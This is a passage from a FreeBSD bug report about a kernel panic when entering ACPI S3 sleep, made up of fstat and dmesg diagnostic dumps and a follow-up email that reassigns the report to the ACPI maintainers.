Current listen queue sizes (qlen/incqlen/maxqlen) Proto Listen Local Address tcp4 0/0/5 *.auth tcp4 0/0/10 localhost.otaku.smtp tcp4 0/0/128 localhost.otaku.ipp tcp4 0/0/5 *.6600 unix 0/0/30 /var/run/hald/dbus-yNI7AgXT1M unix 0/0/30 /var/run/hald/dbus-a5kuiZZqEC unix 0/0/128 /var/run/cups.sock unix 0/0/30 /var/run/dbus/system_bus_socket unix 0/0/10 /var/run/sdp unix 0/0/4 /var/run/devd.pipe ------------------------------------------------------------------------ fstat USER CMD PID FD MOUNT INUM MODE SZ|DV R/W root acpiconf 1252 root / 2 drwxr-xr-x 512 r root acpiconf 1252 wd /usr 13047809 drwxr-xr-x 5120 r root acpiconf 1252 text /usr 17687556 -r-xr-xr-x 5900 r root acpiconf 1252 0 /dev 29 crw------- ttyv0 rw root acpiconf 1252 1 /dev 29 crw------- ttyv0 rw root acpiconf 1252 2 /dev 29 crw------- ttyv0 rw root acpiconf 1252 3 /dev 28 crw-r--r-- acpi rw arundel bash 1247 root / 2 drwxr-xr-x 512 r arundel bash 1247 wd /usr 13047809 drwxr-xr-x 5120 r arundel bash 1247 text /usr 5982428 -rwxr-xr-x 603876 r arundel bash 1247 0 /dev 29 crw------- ttyv0 rw arundel bash 1247 1 /dev 29 crw------- ttyv0 rw arundel bash 1247 2 /dev 29 crw------- ttyv0 rw arundel bash 1247 3* local dgram c75ca8bc <-> c75c96b8 arundel bash 1247 255 /dev 29 crw------- ttyv0 rw root hald-addon-mouse-s 1228 root / 2 drwxr-xr-x 512 r root hald-addon-mouse-s 1228 wd /usr 6029394 drwxr-xr-x 2048 r root hald-addon-mouse-s 1228 text /usr 6029443 -r-xr-xr-x 6560 r root hald-addon-mouse-s 1228 0 /dev 22 crw-rw-rw- null r root hald-addon-mouse-s 1228 1 /dev 22 crw-rw-rw- null rw root hald-addon-mouse-s 1228 2 /dev 22 crw-rw-rw- null rw root hald-addon-mouse-s 1228 3* local stream c75cacc4 <-> c75cad70 root hald-runner 1205 root / 2 drwxr-xr-x 512 r root hald-runner 1205 wd / 2 drwxr-xr-x 512 r root hald-runner 1205 text /usr 6029446 -r-xr-xr-x 13232 r root hald-runner 1205 0 /dev 22 crw-rw-rw- null r root hald-runner 1205 1 /dev 22 crw-rw-rw- null rw root hald-runner 1205 2 /dev 22 crw-rw-rw- null rw root hald-runner 1205 3* local stream c75c9ac0 <-> c7c6b158 root console-kit-daemon 1204 root / 2 drwxr-xr-x 512 r root console-kit-daemon 1204 wd / 2 drwxr-xr-x 512 r root console-kit-daemon 1204 text /usr 6029458 -r-xr-xr-x 114244 r root console-kit-daemon 1204 0 /dev 22 crw-rw-rw- null rw root console-kit-daemon 1204 1 /dev 22 crw-rw-rw- null rw root console-kit-daemon 1204 2 /dev 22 crw-rw-rw- null rw root console-kit-daemon 1204 3* pipe c7596188 <-> c7596240 0 rw root console-kit-daemon 1204 4 /dev 22 crw-rw-rw- null rw root console-kit-daemon 1204 5* pipe c7596240 <-> c7596188 0 rw root console-kit-daemon 1204 6 /usr 6052864 drwxr-xr-x 512 r root console-kit-daemon 1204 7* pipe c7596498 <-> c7596550 0 rw root console-kit-daemon 1204 8* pipe c7596550 <-> c7596498 0 rw root console-kit-daemon 1204 9* local stream c75c9764 <-> c75c9560 root console-kit-daemon 1204 10 / 16062991 -rw-r--r-- 5734 w root console-kit-daemon 1204 12 /dev 6 crw------- console r root console-kit-daemon 1204 13 /usr 6194286 -r--r--r-- 670 r root console-kit-daemon 1204 14 /usr 6643036 drwxr-xr-x 512 r root console-kit-daemon 1204 15 / 16109599 -rw-rw-r-- 0 r haldaemo hald 1201 root / 2 drwxr-xr-x 512 r haldaemo hald 1201 wd / 2 drwxr-xr-x 512 r haldaemo hald 1201 text /usr 6029505 -r-xr-xr-x 268076 r haldaemo hald 1201 0 /dev 22 crw-rw-rw- null rw haldaemo hald 1201 1 /dev 22 crw-rw-rw- null rw haldaemo hald 1201 2 /dev 22 crw-rw-rw- null rw haldaemo hald 1201 5* pipe c7596310 <-> c75963c8 0 rw haldaemo hald 1201 6* pipe c75963c8 <-> c7596310 0 rw haldaemo hald 1201 7* local stream c75ca000 haldaemo hald 1201 8* local stream c75c9cc4 <-> c75c9c18 haldaemo hald 1201 9* local stream c75c98bc haldaemo hald 1201 10* local stream c7c6b158 <-> c75c9ac0 haldaemo hald 1201 12 /dev 25 crw-r--r-- pci rw haldaemo hald 1201 13 /dev 27 crw------- ata r haldaemo hald 1201 14 /dev 79 crw------- xpt0 rw haldaemo hald 1201 16 /usr 6194286 -r--r--r-- 670 r haldaemo hald 1201 17 /usr 6643036 drwxr-xr-x 512 r haldaemo hald 1201 18 / 16109599 -rw-rw-r-- 0 r haldaemo hald 1201 19 /usr 6410167 drwxr-xr-x 512 r haldaemo hald 1201 20 /usr 6410169 drwxr-xr-x 512 r haldaemo hald 1201 21 /usr 6410168 drwxr-xr-x 512 r haldaemo hald 1201 22 /usr 6241283 drwxr-xr-x 512 r haldaemo hald 1201 23 /usr 6410149 drwxr-xr-x 512 r haldaemo hald 1201 24 /usr 6410152 drwxr-xr-x 512 r haldaemo hald 1201 25 /usr 6410150 drwxr-xr-x 512 r haldaemo hald 1201 26 /usr 6410151 -r--r--r-- 1656 r haldaemo hald 1201 27 /usr 6217729 drwxr-xr-x 512 r haldaemo hald 1201 28 /usr 6410153 drwxr-xr-x 512 r haldaemo hald 1201 29 /usr 6410166 drwxr-xr-x 512 r haldaemo hald 1201 30 /usr 6410154 drwxr-xr-x 512 r haldaemo hald 1201 31 /usr 6410164 -r--r--r-- 1609 r haldaemo hald 1201 32 /usr 6410163 -r--r--r-- 19472 r haldaemo hald 1201 33 /usr 6410162 -r--r--r-- 1214 r haldaemo hald 1201 34 /usr 6410161 -r--r--r-- 541 r haldaemo hald 1201 35 /usr 6410160 -r--r--r-- 913 r haldaemo hald 1201 36 /usr 6410159 -r--r--r-- 1153 r haldaemo hald 1201 37 /usr 6410158 -r--r--r-- 4038 r haldaemo hald 1201 38 /usr 6410165 -r--r--r-- 257 r haldaemo hald 1201 39 /usr 6410157 -r--r--r-- 1352 r haldaemo hald 1201 40 /usr 6410155 -r--r--r-- 795 r haldaemo hald 1201 41 /usr 6410156 -r--r--r-- 720 r haldaemo hald 1201 42 /usr 6241280 drwxr-xr-x 512 r haldaemo hald 1201 43 /usr 6241281 -rw-r--r-- 590 r haldaemo hald 1201 44 /usr 6241282 -rw-r--r-- 227 r haldaemo hald 1201 45* local stream c7c6b0ac <-> c7c6b000 haldaemo hald 1201 46* local stream c75cad70 <-> c75cacc4 root getty 1196 root / 2 drwxr-xr-x 512 r root getty 1196 wd / 2 drwxr-xr-x 512 r root getty 1196 text /usr 18252843 -r-xr-xr-x 21380 r root getty 1196 0 /dev 36 crw------- ttyv7 rw root getty 1196 1 /dev 36 crw------- ttyv7 rw root getty 1196 2 /dev 36 crw------- ttyv7 rw root getty 1195 root / 2 drwxr-xr-x 512 r root getty 1195 wd / 2 drwxr-xr-x 512 r root getty 1195 text /usr 18252843 -r-xr-xr-x 21380 r root getty 1195 0 /dev 35 crw------- ttyv6 rw root getty 1195 1 /dev 35 crw------- ttyv6 rw root getty 1195 2 /dev 35 crw------- ttyv6 rw root getty 1194 root / 2 drwxr-xr-x 512 r root getty 1194 wd / 2 drwxr-xr-x 512 r root getty 1194 text /usr 18252843 -r-xr-xr-x 21380 r root getty 1194 0 /dev 34 crw------- ttyv5 rw root getty 1194 1 /dev 34 crw------- ttyv5 rw root getty 1194 2 /dev 34 crw------- ttyv5 rw root getty 1193 root / 2 drwxr-xr-x 512 r root getty 1193 wd / 2 drwxr-xr-x 512 r root getty 1193 text /usr 18252843 -r-xr-xr-x 21380 r root getty 1193 0 /dev 33 crw------- ttyv4 rw root getty 1193 1 /dev 33 crw------- ttyv4 rw root getty 1193 2 /dev 33 crw------- ttyv4 rw root getty 1192 root / 2 drwxr-xr-x 512 r root getty 1192 wd / 2 drwxr-xr-x 512 r root getty 1192 text /usr 18252843 -r-xr-xr-x 21380 r root getty 1192 0 /dev 32 crw------- ttyv3 rw root getty 1192 1 /dev 32 crw------- ttyv3 rw root getty 1192 2 /dev 32 crw------- ttyv3 rw root getty 1191 root / 2 drwxr-xr-x 512 r root getty 1191 wd / 2 drwxr-xr-x 512 r root getty 1191 text /usr 18252843 -r-xr-xr-x 21380 r root getty 1191 0 /dev 31 crw------- ttyv2 rw root getty 1191 1 /dev 31 crw------- ttyv2 rw root getty 1191 2 /dev 31 crw------- ttyv2 rw root getty 1190 root / 2 drwxr-xr-x 512 r root getty 1190 wd / 2 drwxr-xr-x 512 r root getty 1190 text /usr 18252843 -r-xr-xr-x 21380 r root getty 1190 0 /dev 30 crw------- ttyv1 rw root getty 1190 1 /dev 30 crw------- ttyv1 rw root getty 1190 2 /dev 30 crw------- ttyv1 rw root login 1189 root / 2 drwxr-xr-x 512 r root login 1189 wd /usr 13047809 drwxr-xr-x 5120 r root login 1189 text /usr 23246115 -r-sr-xr-x 18796 r root login 1189 0 /dev 29 crw------- ttyv0 rw root login 1189 1 /dev 29 crw------- ttyv0 rw root login 1189 2 /dev 29 crw------- ttyv0 rw root login 1189 3* local dgram c75ca810 <-> c75c960c root sleep 1188 root / 2 drwxr-xr-x 512 r root sleep 1188 wd / 2 drwxr-xr-x 512 r root sleep 1188 text / 2331679 -r-xr-xr-x 5748 r root sleep 1188 0 /dev 22 crw-rw-rw- null r root sleep 1188 1* pipe c7596860 <-> c75967a8 0 rw root sleep 1188 2* pipe c7596860 <-> c75967a8 0 rw root logger 1186 root / 2 drwxr-xr-x 512 r root logger 1186 wd / 2 drwxr-xr-x 512 r root logger 1186 text /usr 23246113 -r-xr-xr-x 10284 r root logger 1186 0* pipe c75967a8 <-> c7596860 0 rw root logger 1186 2 - - bad - root sh 1185 root / 2 drwxr-xr-x 512 r root sh 1185 wd / 2 drwxr-xr-x 512 r root sh 1185 text / 2331673 -r-xr-xr-x 115612 r root sh 1185 0 /dev 22 crw-rw-rw- null r root sh 1185 1* pipe c7596860 <-> c75967a8 0 rw root sh 1185 2* pipe c7596860 <-> c75967a8 0 rw root scmpc 1183 root / 2 drwxr-xr-x 512 r root scmpc 1183 wd / 2 drwxr-xr-x 512 r root scmpc 1183 text /usr 5982973 -rwxr-xr-x 46873 r root scmpc 1183 0 /dev 22 crw-rw-rw- null r root scmpc 1183 1 /dev 22 crw-rw-rw- null w root scmpc 1183 2 /dev 22 crw-rw-rw- null w root scmpc 1183 3 / 16062626 -rw-r--r-- 1751237 w root scmpc 1183 4* internet stream tcp c7b8d4f0 root obexapp 1172 root / 2 drwxr-xr-x 512 r root obexapp 1172 wd / 2 drwxr-xr-x 512 r root obexapp 1172 text /usr 5982540 -r-xr-xr-x 132569 r root obexapp 1172 0 /dev 22 crw-rw-rw- null rw root obexapp 1172 1 /dev 22 crw-rw-rw- null rw root obexapp 1172 2 /dev 22 crw-rw-rw- null rw root obexapp 1172 3* local dgram c75c9d70 <-> c75c960c root obexapp 1172 4* local stream c75c9e1c <-> c75c9ec8 root obexapp 1172 5* bluetooth stream 136 c7bd2b44 nobody identd 1121 root / 2 drwxr-xr-x 512 r nobody identd 1121 wd / 2 drwxr-xr-x 512 r nobody identd 1121 text /usr 6029467 -r-xr-xr-x 13263 r nobody identd 1121 0* internet stream tcp c7b8d278 root cron 1108 root / 2 drwxr-xr-x 512 r root cron 1108 wd / 15968264 drwxr-x--- 512 r root cron 1108 text /usr 17687571 -r-xr-xr-x 33732 r root cron 1108 0 /dev 22 crw-rw-rw- null rw root cron 1108 1 /dev 22 crw-rw-rw- null rw root cron 1108 2 /dev 22 crw-rw-rw- null rw root cron 1108 3 / 16063164 -rw------- 4 w root cron 1108 4* local dgram c75c9a14 <-> c75c960c smmsp sendmail 1102 root / 2 drwxr-xr-x 512 r smmsp sendmail 1102 wd / 16062533 drwxrwx--- 512 r smmsp sendmail 1102 text /usr 18252859 -r-xr-sr-x 673520 r smmsp sendmail 1102 0 /dev 22 crw-rw-rw- null r smmsp sendmail 1102 1 /dev 22 crw-rw-rw- null w smmsp sendmail 1102 2 /dev 22 crw-rw-rw- null w smmsp sendmail 1102 3* local dgram c75c9968 <-> c75c960c smmsp sendmail 1102 4 / 16063139 -rw------- 50 w root sendmail 1096 root / 2 drwxr-xr-x 512 r root sendmail 1096 wd / 16062529 drwxr-xr-x 512 r root sendmail 1096 text /usr 18252859 -r-xr-sr-x 673520 r root sendmail 1096 0 /dev 22 crw-rw-rw- null r root sendmail 1096 1 /dev 22 crw-rw-rw- null w root sendmail 1096 2 /dev 22 crw-rw-rw- null w root sendmail 1096 3* local dgram c75c9810 <-> c75c960c root sendmail 1096 4* internet stream tcp c7b8d000 root sendmail 1096 5 / 16063163 -rw------- 79 w root cupsd 1010 root / 2 drwxr-xr-x 512 r root cupsd 1010 wd / 2 drwxr-xr-x 512 r root cupsd 1010 text /usr 6029507 -rwxr-xr-x 821901 r root cupsd 1010 1* local dgram c75c9204 <-> c75c960c root cupsd 1010 2* internet stream tcp c7b8d9e0 root cupsd 1010 3 / 16062567 -rw-r--r-- 947899 rw root cupsd 1010 4* local stream c75c94b4 root cupsd 1010 5* internet dgram udp c7816498 root cupsd 1010 6* pipe c7596000 <-> c75960b8 0 rw root cupsd 1010 7* pipe c75960b8 <-> c7596000 0 rw messageb dbus-daemon 982 root / 2 drwxr-xr-x 512 r messageb dbus-daemon 982 wd / 2 drwxr-xr-x 512 r messageb dbus-daemon 982 text /usr 5982343 -r-xr-xr-x 300864 r messageb dbus-daemon 982 0 /dev 22 crw-rw-rw- null rw messageb dbus-daemon 982 1 /dev 22 crw-rw-rw- null rw messageb dbus-daemon 982 2 /dev 22 crw-rw-rw- null rw messageb dbus-daemon 982 3* local stream c75c9158 messageb dbus-daemon 982 4 /dev 22 crw-rw-rw- null rw messageb dbus-daemon 982 6 /usr 6052864 drwxr-xr-x 512 r messageb dbus-daemon 982 7* local stream c75c90ac <-> c75c9000 messageb dbus-daemon 982 8* local stream c75c9000 <-> c75c90ac messageb dbus-daemon 982 9* local stream c75c9c18 <-> c75c9cc4 messageb dbus-daemon 982 11* local stream c75c9560 <-> c75c9764 arundel mpd 972 root / 2 drwxr-xr-x 512 r arundel mpd 972 wd / 2 drwxr-xr-x 512 r arundel mpd 972 text /usr 5982479 -r-xr-xr-x 216888 r arundel mpd 972 0 /dev 22 crw-rw-rw- null r arundel mpd 972 1 /usr 13566013 -rw-r--r-- 1561937 w arundel mpd 972 2 /usr 13566014 -rw------- 55629 w arundel mpd 972 3 /dev 22 crw-rw-rw- null r arundel mpd 972 4* internet stream tcp c7b8dc58 arundel mpd 972 5 /usr 13566013 -rw-r--r-- 1561937 w arundel mpd 972 6 /usr 13566014 -rw------- 55629 w arundel mpd 972 7* pipe c7596620 <-> c75966d8 0 rw arundel mpd 972 8* pipe c75966d8 <-> c7596620 0 rw arundel mpd 972 9 /dev 75 crw-rw-rw- mixer0 r arundel mpd 972 10* internet stream tcp c7b8d768 nobody sdpd 938 root / 2 drwxr-xr-x 512 r nobody sdpd 938 wd / 2 drwxr-xr-x 512 r nobody sdpd 938 text /usr 17687582 -r-xr-xr-x 29108 r nobody sdpd 938 0 /dev 22 crw-rw-rw- null rw nobody sdpd 938 1 /dev 22 crw-rw-rw- null rw nobody sdpd 938 2 /dev 22 crw-rw-rw- null rw nobody sdpd 938 3* local dgram c75c935c <-> c75c960c nobody sdpd 938 4* local stream c75c92b0 nobody sdpd 938 5* bluetooth seqpak 135 c75c7b44 nobody sdpd 938 6* local stream c75c9ec8 <-> c75c9e1c root powerd 927 root / 2 drwxr-xr-x 512 r root powerd 927 wd / 2 drwxr-xr-x 512 r root powerd 927 text /usr 17687692 -r-xr-xr-x 12416 r root powerd 927 0 /dev 22 crw-rw-rw- null rw root powerd 927 1 /dev 22 crw-rw-rw- null rw root powerd 927 2 /dev 22 crw-rw-rw- null rw root powerd 927 3 / 16063156 -rw------- 3 w root powerd 927 4 /dev 88 crw-rw-r-- apm0 r root hcsecd 894 root / 2 drwxr-xr-x 512 r root hcsecd 894 wd / 2 drwxr-xr-x 512 r root hcsecd 894 text /usr 17687587 -r-xr-xr-x 23040 r root hcsecd 894 0 /dev 22 crw-rw-rw- null rw root hcsecd 894 1 /dev 22 crw-rw-rw- null rw root hcsecd 894 2 /dev 22 crw-rw-rw- null rw root hcsecd 894 3* bluetooth raw 134 c75c74d4 root hcsecd 894 4* local dgram c75c9408 <-> c75c960c root syslogd 708 root / 2 drwxr-xr-x 512 r root syslogd 708 wd / 2 drwxr-xr-x 512 r root syslogd 708 text /usr 17687699 -r-xr-xr-x 35596 r root syslogd 708 0 /dev 22 crw-rw-rw- null rw root syslogd 708 1 /dev 22 crw-rw-rw- null rw root syslogd 708 2 /dev 22 crw-rw-rw- null rw root syslogd 708 3 / 16063104 -rw------- 3 w root syslogd 708 4* local dgram c75c96b8 root syslogd 708 5* local dgram c75c960c root syslogd 708 6* internet dgram udp c78169f4 root syslogd 708 7 /dev 18 crw------- klog r root syslogd 708 9 - - bad - root syslogd 708 10 / 16063030 -rw-r--r-- 38824 w root syslogd 708 11 / 16062652 -rw------- 64 w root syslogd 708 12 / 16062624 -rw------- 20913 w root syslogd 708 13 / 16062643 -rw-r----- 745 w root syslogd 708 14 / 16062649 -rw-r--r-- 64 w root syslogd 708 15 / 16062635 -rw------- 29591 w root syslogd 708 16 / 16062581 -rw------- 69089 w root syslogd 708 17 / 16062563 -rw------- 47212 w root syslogd 708 18 / 16062650 -rw-r----- 64 w root devd 515 root / 2 drwxr-xr-x 512 r root devd 515 wd / 2 drwxr-xr-x 512 r root devd 515 text / 14225431 -r-xr-xr-x 375160 r root devd 515 0 /dev 22 crw-rw-rw- null rw root devd 515 1 /dev 22 crw-rw-rw- null rw root devd 515 2 /dev 22 crw-rw-rw- null rw root devd 515 3 / 16769049 drwxr-xr-x 512 r root devd 515 4 /dev 5 crw------- devctl r root devd 515 5* local stream c75c9b6c root devd 515 6 / 16063088 -rw------- 3 w root devd 515 7* local stream c7c6b000 <-> c7c6b0ac root moused 471 root / 2 drwxr-xr-x 512 r root moused 471 wd / 2 drwxr-xr-x 512 r root moused 471 text /usr 17687657 -r-xr-xr-x 35900 r root moused 471 0 /dev 22 crw-rw-rw- null rw root moused 471 1 /dev 22 crw-rw-rw- null rw root moused 471 2 /dev 22 crw-rw-rw- null rw root moused 471 3 /dev 94 crw-r--r-- ums0 rw root moused 471 4 /dev 45 crw------- consolectl rw root moused 471 5* local stream c75c9b6c root moused 471 6 / 16063071 -rw------- 3 w root adjkerntz 194 root / 2 drwxr-xr-x 512 r root adjkerntz 194 wd / 2 drwxr-xr-x 512 r root adjkerntz 194 text / 14225411 -r-xr-xr-x 7032 r root adjkerntz 194 0 /dev 22 crw-rw-rw- null rw root adjkerntz 194 1 /dev 22 crw-rw-rw- null rw root adjkerntz 194 2 /dev 22 crw-rw-rw- null rw root init 1 root / 2 drwxr-xr-x 512 r root init 1 wd / 2 drwxr-xr-x 512 r root init 1 text / 14225452 -r-xr-xr-x 491000 r ------------------------------------------------------------------------ dmesg Copyright (c) 1992-2009 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD is a registered trademark of The FreeBSD Foundation. FreeBSD 8.0-BETA2 #4 r195712M: Wed Jul 15 22:31:17 CEST 2009 root@otaku:/usr/obj/usr/src/sys/ARUNDEL WARNING: WITNESS option enabled, expect reduced performance. WARNING: DIAGNOSTIC option enabled, expect reduced performance. MEMGUARD DEBUGGING ALLOCATOR INITIALIZED: MEMGUARD map base: 0xc5000000 MEMGUARD map limit: 0xc7001000 MEMGUARD map size: 33558528 (Bytes) Timecounter "i8254" frequency 1193182 Hz quality 0 CPU: Intel(R) Pentium(R) Dual CPU E2160 @ 1.80GHz (1800.01-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x6fd Stepping = 13 Features=0xbfebfbff Features2=0xe39d AMD Features=0x20100000 AMD Features2=0x1 TSC: P-state invariant real memory = 2147483648 (2048 MB) avail memory = 2093649920 (1996 MB) ACPI APIC Table: WARNING: Non-uniform processors. WARNING: Using suboptimal topology. ioapic0: Changing APIC ID to 2 ioapic0 irqs 0-23 on motherboard acpi0: on motherboard acpi0: [ITHREAD] acpi0: Power Button (fixed) acpi0: reservation of 0, a0000 (3) failed acpi0: reservation of 100000, 7fde0000 (3) failed Timecounter "ACPI-fast" frequency 3579545 Hz quality 1000 acpi_timer0: <24-bit timer at 3.579545MHz> port 0x408-0x40b on acpi0 acpi_hpet0: iomem 0xfed00000-0xfed003ff on acpi0 Timecounter "HPET" frequency 14318180 Hz quality 900 acpi_button0: on acpi0 pcib0: port 0xcf8-0xcff on acpi0 pci0: on pcib0 pcib1: irq 16 at device 1.0 on pci0 pci1: on pcib1 vgapci0: port 0xc000-0xc07f mem 0xf6000000-0xf6ffffff,0xe0000000-0xefffffff,0xf4000000-0xf5ffffff irq 16 at device 0.0 on pci1 uhci0: port 0xe200-0xe21f irq 16 at device 26.0 on pci0 uhci0: [ITHREAD] uhci0: LegSup = 0x0f50 usbus0: on uhci0 uhci1: port 0xe000-0xe01f irq 21 at device 26.1 on pci0 uhci1: [ITHREAD] uhci1: LegSup = 0x0f50 usbus1: on uhci1 uhci2: port 0xe100-0xe11f irq 18 at device 26.2 on pci0 uhci2: [ITHREAD] uhci2: LegSup = 0x0f50 usbus2: on uhci2 ehci0: mem 0xf8205000-0xf82053ff irq 18 at device 26.7 on pci0 ehci0: [ITHREAD] usbus3: EHCI version 1.0 usbus3: on ehci0 hdac0: mem 0xf8200000-0xf8203fff irq 22 at device 27.0 on pci0 hdac0: HDA Driver Revision: 20090624_0136 hdac0: [ITHREAD] pcib2: irq 16 at device 28.0 on pci0 pci2: on pcib2 pcib3: irq 19 at device 28.3 on pci0 pci3: on pcib3 atapci0: port 0xd000-0xd007,0xd100-0xd103,0xd200-0xd207,0xd300-0xd303,0xd400-0xd40f mem 0xf8000000-0xf8001fff irq 19 at device 0.0 on pci3 atapci0: [ITHREAD] atapci0: AHCI called from vendor specific driver atapci0: AHCI v1.00 controller with 2 3Gbps ports, PM supported ata2: on atapci0 ata2: [ITHREAD] ata3: on atapci0 ata3: [ITHREAD] ata4: on atapci0 ata4: [ITHREAD] pcib4: irq 16 at device 28.4 on pci0 pci4: on pcib4 uhci3: port 0xe300-0xe31f irq 23 at device 29.0 on pci0 uhci3: [ITHREAD] uhci3: LegSup = 0x057a usbus4: on uhci3 uhci4: port 0xe400-0xe41f irq 19 at device 29.1 on pci0 uhci4: [ITHREAD] uhci4: LegSup = 0x0510 usbus5: on uhci4 uhci5: port 0xe500-0xe51f irq 18 at device 29.2 on pci0 uhci5: [ITHREAD] uhci5: LegSup = 0x0510 usbus6: on uhci5 ehci1: mem 0xf8204000-0xf82043ff irq 23 at device 29.7 on pci0 ehci1: [ITHREAD] usbus7: EHCI version 1.0 usbus7: on ehci1 pcib5: at device 30.0 on pci0 pci5: on pcib5 ath0: mem 0xf8100000-0xf810ffff irq 19 at device 1.0 on pci5 ath0: [ITHREAD] ath0: AR2413 mac 7.9 RF2413 phy 4.5 isab0: at device 31.0 on pci0 isa0: on isab0 ahci0: port 0xe600-0xe607,0xe700-0xe703,0xe800-0xe807,0xe900-0xe903,0xea00-0xea1f mem 0xf8206000-0xf82067ff irq 19 at device 31.2 on pci0 ahci0: [ITHREAD] ahci0: AHCI v1.20 with 6 3Gbps ports, Port Multiplier supported ahcich0: at channel 0 on ahci0 ahcich0: [ITHREAD] ahcich1: at channel 1 on ahci0 ahcich1: [ITHREAD] ahcich2: at channel 2 on ahci0 ahcich2: [ITHREAD] ahcich3: at channel 3 on ahci0 ahcich3: [ITHREAD] ahcich4: at channel 4 on ahci0 ahcich4: [ITHREAD] ahcich5: at channel 5 on ahci0 ahcich5: [ITHREAD] pci0: at device 31.3 (no driver attached) atrtc0: port 0x70-0x73 on acpi0 cpu0: on acpi0 coretemp0: on cpu0 est0: on cpu0 est: CPU supports Enhanced Speedstep, but is not recognized. est: cpu_vendor GenuineIntel, msr 925092506000925 device_attach: est0 attach returned 6 p4tcc0: on cpu0 orm0: at iomem 0xd0000-0xd27ff pnpid ORM0000 on isa0 sc0: at flags 0x100 on isa0 sc0: VGA <16 virtual consoles, flags=0x300> vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 Timecounter "TSC" frequency 1800011961 Hz quality 800 Timecounters tick every 1.000 msec usbus0: 12Mbps Full Speed USB v1.0 usbus1: 12Mbps Full Speed USB v1.0 usbus2: 12Mbps Full Speed USB v1.0 usbus3: 480Mbps High Speed USB v2.0 usbus4: 12Mbps Full Speed USB v1.0 usbus5: 12Mbps Full Speed USB v1.0 usbus6: 12Mbps Full Speed USB v1.0 usbus7: 480Mbps High Speed USB v2.0 ad0: 157066MB at ata4-master UDMA100 ugen0.1: at usbus0 uhub0: on usbus0 ugen1.1: at usbus1 uhub1: on usbus1 ugen2.1: at usbus2 uhub2: on usbus2 ugen3.1: at usbus3 uhub3: on usbus3 ugen4.1: at usbus4 uhub4: on usbus4 ugen5.1: at usbus5 uhub5: on usbus5 ugen6.1: at usbus6 uhub6: on usbus6 ugen7.1: at usbus7 uhub7: on usbus7 acd0: DVDR at ata4-slave PIO4 Waiting 2 seconds for SCSI devices to settle hdac0: HDA Codec #2: Realtek ALC885 pcm0: at cad 2 nid 1 on hdac0 pcm1: at cad 2 nid 1 on hdac0 pcm2: at cad 2 nid 1 on hdac0 acd0: FAILURE - INQUIRY ILLEGAL REQUEST asc=0x24 ascq=0x00 sks=0x40 0x00 0x01 acd0: FAILURE - INQUIRY ILLEGAL REQUEST asc=0x24 ascq=0x00 sks=0x40 0x00 0x01 uhub0: 2 ports with 2 removable, self powered uhub1: 2 ports with 2 removable, self powered uhub2: 2 ports with 2 removable, self powered uhub4: 2 ports with 2 removable, self powered uhub5: 2 ports with 2 removable, self powered uhub6: 2 ports with 2 removable, self powered Expensive timeout(9) function: 0xc044e990(0xc74ca800) 0.004016432 s (aprobe0:ahcich0:0:15:0): SIGNATURE: 0000 (aprobe0:ahcich0:0:0:0): SIGNATURE: 0000 ada0 at ahcich0 bus 0 target 0 lun 0 ada0: ATA/ATAPI-7 SATA 2.x device ada0: 300.000MB/s transfers ada0: 238474MB (488395055 512 byte sectors: 16H 63S/T 16383C) ada0: Native Command Queueing enabled WARNING: WITNESS option enabled, expect reduced performance. WARNING: DIAGNOSTIC option enabled, expect reduced performance. cd0 at ata0 bus 0 target 1 lun 0 cd0: Removable CD-ROM SCSI-0 device cd0: 16.000MB/s transfers cd0: cd present [359225 x 2048 byte records] acd0: FAILURE - READ_BIG ILLEGAL REQUEST asc=0x64 ascq=0x00 uhub3: 6 ports with 6 removable, self powered uhub7: 6 ports with 6 removable, self powered acd0: FAILURE - READ_BIG ILLEGAL REQUEST asc=0x64 ascq=0x00 ugen0.2: at usbus0 ums0: on usbus0 ums0: 7 buttons and [XYZ] coordinates ID=0 acd0: FAILURE - READ_BIG ILLEGAL REQUEST asc=0x64 ascq=0x00 (cd0:ata0:0:1:0): READ(10). CDB: 28 0 0 5 7b 38 0 0 1 0 (cd0:ata0:0:1:0): CAM Status: SCSI Status Error (cd0:ata0:0:1:0): SCSI Status: Check Condition (cd0:ata0:0:1:0): ILLEGAL REQUEST csi:28,33,21,80 asc:64,0 (cd0:ata0:0:1:0): Illegal mode for this track (cd0:ata0:0:1:0): Unretryable error (cd0:ata0:0:1:0): cddone: got error 0x6 back ugen0.3: at usbus0 ukbd0: on usbus0 kbd0 at ukbd0 Trying to mount root from ufs:/dev/label/rootfs WARNING: / was not properly dismounted Entropy harvesting: interrupts ethernet point_to_point kickstart >Release-Note: >Audit-Trail: >Unformatted: From owner-freebsd-bugs@FreeBSD.ORG Thu Jul 16 09:55:48 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C5F75106566C; Thu, 16 Jul 2009 09:55:48 +0000 (UTC) (envelope-from linimon@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 9BB5B8FC23; Thu, 16 Jul 2009 09:55:48 +0000 (UTC) (envelope-from linimon@FreeBSD.org) Received: from freefall.freebsd.org (linimon@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6G9tms4048489; Thu, 16 Jul 2009 09:55:48 GMT (envelope-from linimon@freefall.freebsd.org) Received: (from linimon@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6G9tmna048485; Thu, 16 Jul 2009 09:55:48 GMT (envelope-from linimon) Date: Thu, 16 Jul 2009 09:55:48 GMT Message-Id: <200907160955.n6G9tmna048485@freefall.freebsd.org> To: linimon@FreeBSD.org, freebsd-bugs@FreeBSD.org, freebsd-acpi@FreeBSD.org From: linimon@FreeBSD.org Cc: Subject: Re: kern/136808: [acpi] panic when switching to s3 X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 16 Jul 2009 09:55:49 -0000 Synopsis: [acpi] panic when switching to s3 Responsible-Changed-From-To: freebsd-bugs->freebsd-acpi Responsible-Changed-By: linimon Responsible-Changed-When: Thu Jul 16 09:55:39 UTC 2009 Responsible-Changed-Why: Over to maintainer(s). 